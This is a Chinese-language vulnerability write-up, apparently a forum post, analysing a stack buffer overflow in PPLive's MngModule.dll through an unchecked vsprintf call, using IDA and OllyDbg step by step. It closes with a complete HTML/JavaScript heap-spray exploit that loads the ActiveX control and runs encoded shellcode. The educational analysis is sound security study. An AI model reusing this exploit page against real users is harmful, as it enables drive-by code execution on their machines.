影响版本: pplive 1.8beat2
有问题的dll: MngModule.dll 1.7.0.2
未影响版本: 还没吧。:-)
分析: 以下是在luoluo的协助下分析的,基本属于luoluo语录。:) 给出分析过程,给和我一样刚接触溢出一点漏洞分析的思路。
MngModule Startup Startup Lock Reference 1 Lock Reference 2 Unlock Reference 1 Lock Reference 2 Unlock Reference 1 Lock Reference 2 Lock Reference 3 Unlock Reference 2 Lock Reference 3 Unlock Reference 2 Lock Reference 3 Login AAAAAAAAA.....(1044)个A
可以看出溢出是在Login的时候,启动IDA,加载这个DLL,查看IDA View-A窗口,选择右键反汇编视图, 这里我们根据关键字查找的方法来寻找有问题的代码段在哪里,ALT+T,搜索文本关键字’login’,来到如下地方 .text:100086CF push offset aLoginS ; "Login %s" 《-----压入字符串(传递参数) .text:100086D4 call sub_10001490 《-----调用函数 .text:100086D9 add esp, 8 .text:100086DC mov [esp+18h+arg_0], offset dword_1000EA10 .text:100086E4 push offset stru_1000EA18 ; lpCriticalSection .text:100086E9 call ds:EnterCriticalSection
我们在call sub_10001490处双击进入此函数,来分析一下这个函数进行了什么操作 .text:10001490 sub esp, 400h 《---分配空间大小 .text:10001496 mov ecx, 100h .text:1000149B xor eax, eax .text:1000149D lea edx, [esp+400h+OutputString] .text:100014A1 push edi .text:100014A2 lea edi, [esp+404h+OutputString] .text:100014A6 rep stosd .text:100014A8 mov ecx, [esp+404h+Format] .text:100014AF lea eax, [esp+404h+Args] .text:100014B6 push eax ; Args .text:100014B7 push ecx ; Format .text:100014B8 push edx ; Dest .text:100014B9 call ds:vsprintf 《---调用vsprintf函数 .text:100014BF add esp, 0Ch .text:100014C2 lea eax, [esp+404h+OutputString] .text:100014C6 push eax ; lpOutputString .text:100014C7 call ds:OutputDebugStringA .text:100014CD pop edi .text:100014CE add esp, 400h .text:100014D4 retn
这是一个vsprintf的函数反汇编代码,程序只分配了400h(1024个字节)的大小,中间并没有进行过长度判断, 这里我们可以基本判断为是由于vsprintf的字符串长度过长,从而导致的堆溢出
我们用OD来动态调试一下。 这里是luoluo提供的技巧,用来定位call vsprintf在OD里的地址
公式为:IDA中的call vsprintf - IDA中的.text基地址 + OD里的基地址
因为是在DLL里出了问题,程序用到DLL,肯定需要load,所以我们先把断点下在LoadLibraryW 或者 LoadLibraryExW 运行POC,然后在OD里附加。然后执行F9后,观察OD,当出现 01B09A20 769DE1B1 /CALL 到 LoadLibraryExW 来自 ole32.769DE1AB 01B09A24 01B09A98 |FileName = "D:\Program Files\PPLive\MngModule.dll" 01B09A28 00000000 |hFile = NULL 01B09A2C 00000008 \Flags = LOAD_WITH_ALTERED_SEARCH_PATH 01B09A30 01B09A98 UNICODE "D:\Program Files\PPLive\MngModule.dll" 01B09A34 76AB6068 ole32.76AB6068
这个时候,就说明下一步就要加载这个DLL了,ctrl+f9,让他执行完这步操作,把这个DLL加载进去,然后去查看可执行模块或者ALT+E,找到此模块,
Executable modules, 条目 8 基址=03300000 大小=00013000 (77824.) 入口=03309D4F MngModul.<模块入口点> 名称=MngModul 文件版本=1, 7, 0, 2 路径=D:\Program Files\PPLive\MngModule.dll
右键跟随入口进入,然后在汇编窗口,拉到最上面,就是DLL的.text基地址了。 根据上面的公式(我的IDA的基地址为10001000,就是反汇编窗口的最开始的地方,OD的基地址为03301000)
换算100014b9-10001000+03301000 = 033014b9
可以用ctrl+g看一下是不是vsprintf的地址,我的结果如下 033014B6 |. 50 push eax ; /arglist 033014B7 |. 51 push ecx ; |format 033014B8 |. 52 push edx ; |buffer 033014B9 |. FF15 54B23003 call dword ptr [<&MSVCRT.vsprintf>] ; \vsprintf 033014BF |. 83C4 0C add esp, 0C 033014C2 |. 8D4424 04 lea eax, dword ptr [esp+4]
033014b9就是我们需要下的断点,然后重新加载POC,执行,因为在程序中用到多次的vsprintf,所以可能需要多按几次F9 直到出现我们的关键字login 01B0F1AC 01B0F1BC |buffer = 01B0F1BC 01B0F1B0 0302E6C8 |format = "Login %s" 01B0F1B4 01B0F5C4 \arglist = 01B0F5C4
这三个就是vsprintf的参数,可以google一下vsprintf的作用就是,把arglist中的字符串数组,以格式化成login %s的方式拷贝到buffer的地址上 我们可以查看一下arglist保存的01b0f5c4这个地址保存着什么
01B0F5C4 02829784 ASCII LF,LF,LF,LF,LF,LF,LF,LF,LF,LF,LF,LF,......
他保存了我们提交的AAAA的地址,由于我们在IDA里可以看到,程序只分配了400H(1024个字节)的大小,当我们提交超过1024个A以后就会发生溢出了。
到这里,分析就结束了。
luoluo提供的heap Spray
<html> <body> <object classid=’clsid:9F0F8700-A4D8-4E24-A3E0-1CA654CB5179’ id=’target’></object> <script> var heapSprayToAddress = 0x0a0a0a0a;
var shellcode = unescape( "%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" + // exec calc "%u03eb%ueb59%ue805%ufff8%uffff%u494f%u4949%u4949%u5149%u565a%u5854%u3336 %u5630%u3458%u3041%u3642%u4848%u4230%u3033%u4342%u5856%u4232%u4244%u3448 %u3241%u4441%u4130%u5444%u4442%u4251%u4130%u4144%u5856%u5a34%u4238%u4a44 %u4d4f%u4f4e%u4e4a%u5446%u5042%u5042%u3042%u584b%u5445%u334e%u384b%u574e %u3045%u374a%u3041%u4e4f%u584b%u444f%u414a%u384b%u354f%u4242%u3041%u4e4b %u3449%u584b%u3346%u584b%u3041%u4e50%u3341%u4c42%u3949%u4a4e%u5846%u4c42 %u3746%u3047%u4c41%u4c4c%u504d%u5041%u4c44%u4e4b%u4f46%u534b%u5546%u3246 %u3046%u4745%u4e45%u484b%u354f%u3246%u5041%u4e4b%u3648%u584b%u504e%u544b %u584b%u354f%u314e%u5041%u4e4b%u384b%u414e%u384b%u3041%u4e4b%u3849%u454e %u5246%u5046%u4c43%u5341%u4c42%u4646%u484b%u4442%u4342%u3845%u4c42%u374a %u504e%u484b%u4442%u504e%u484b%u5742%u514e%u4a4d%u484b%u464a%u304a%u4e4b %u3049%u584b%u5842%u4b42%u3042%u5042%u3042%u484b%u464a%u434e%u554f%u4341 %u4f48%u5642%u5548%u5849%u4f4a%u3843%u4c42%u574b%u5542%u464a%u4e4f%u4c50 %u4e42%u4642%u364a%u494a%u4f50%u484c%u3050%u3547%u4f4f%u4e47%u4643%u5641 %u464e%u5643%u4250%u5645%u374a%u3645%u3042%uff5a");
var heapBlockSize = 0x100000; var payLoadSize = shellcode.length * 2; var spraySlideSize = heapBlockSize - (payLoadSize+0x38); var spraySlide = unescape("%u9090%u9090"); spraySlide = getSpraySlide(spraySlide,spraySlideSize); heapBlocks = (heapSprayToAddress - 0x100000)/heapBlockSize; memory = new Array();
for (i=0;i<heapBlocks;i++) { memory[i] = spraySlide + shellcode; } function getSpraySlide(spraySlide, spraySlideSize) { while (spraySlide.length*2<spraySlideSize) { spraySlide += spraySlide; } spraySlide = spraySlide.substring(0,spraySlideSize/2); return spraySlide; } var buffer = ’\x0a’;
while (buffer.length < 1044) buffer += ’\x0a\x0a\x0a\x0a’;
target.X(true, buffer, 1); </script> </body> </html> |
小结: 漏洞很简单,只是让刚接触溢出的人有个分析思路 这是第一次溢出分析,还什么遗漏或错误的地方,还请各位大牛指正 PS:只有知道了漏洞成因,掌握了分析方法,才算是正真的学会了。只有fuzz的结果,并没有什么意义。 另外,这个纯属鸡肋,在默认ie安全级别需要用户交互才能执行.挂马的同学请无视. |